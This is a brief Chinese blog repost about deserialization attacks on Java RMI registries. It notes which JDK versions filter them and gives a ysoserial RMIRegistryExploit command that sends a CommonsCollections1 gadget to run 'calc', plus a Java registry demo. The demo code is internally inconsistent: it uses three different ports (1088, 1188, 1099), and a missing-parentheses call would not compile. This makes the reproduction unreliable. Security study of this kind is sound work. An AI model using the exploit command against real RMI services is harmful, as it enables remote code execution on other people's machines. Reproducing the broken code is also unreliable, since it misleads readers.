其他分享
首页 > 其他分享> > RMI拓展

RMI拓展

作者:互联网

版本要求:

从JDK8u21、7u13、6u141开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。Registry无法成功攻击RMI。

漏洞复现过程:

1.启动RMI注册机制

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections1 "calc"

2.运行程序触发计算器

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIDemo {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1188);
            System.out.println("127.0.0.1:1099");
            while (true) ;
        } catch (Exception e) {
            e.printStackTrace;

        }
    }
}

标签:rmi,java,ysoserial,拓展,Registry,RMI,registry
来源: https://www.cnblogs.com/gucogo/p/15974346.html